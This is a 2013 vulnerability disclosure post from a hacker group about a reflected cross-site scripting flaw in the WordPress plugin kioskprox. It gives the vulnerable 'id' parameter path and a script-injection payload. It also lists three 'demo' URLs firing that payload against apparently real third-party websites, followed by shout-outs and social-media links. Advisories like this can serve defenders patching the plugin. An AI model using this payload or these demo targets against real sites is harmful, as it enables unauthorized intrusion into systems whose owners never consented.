Wordpress plugins kioskprox XSS Vulnerability

2013.04.08

Credit: The Black Devils

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

# Title : Wordpress plugins kioskprox XSS Vulnerability
# Date: 2013-04-03
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Site : [ N / A ]
# Category: [webapps]
# Dork :Use your Mind
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337
  
# Please Like The New Fb page  : https://fb.com/Th3.Black.D3Vils
-----------
http://127.0.0.1/[path]/wp-content/plugins/kioskprox/app/mail/index.php?id= [XSS]
 
 
 
Demo :
http://blog.agXXcripts.com/wp-content/plugins/kioskprox/app/mail/index.php?id=%3Cscript%3Ealert%281337%29%3C/script%3E
http://lasvegXXailsalondeals.com/wp-content/plugins/kioskprox/app/mail/index.php?id=%3Cscript%3Ealert%281337%29%3C/script%3E
http://fanpaXXs.co/wp-content/plugins/kioskprox/app/tour/index.php?id=%3Cscript%3Ealert%281337%29%3C/script%3E
-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | &#200;lite Tr&#216;jan | sH3LL05Dz
            | Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
            | Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
            | All Dz hackerz
-----------
 Contact:
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Wordpress plugins kioskprox XSS Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.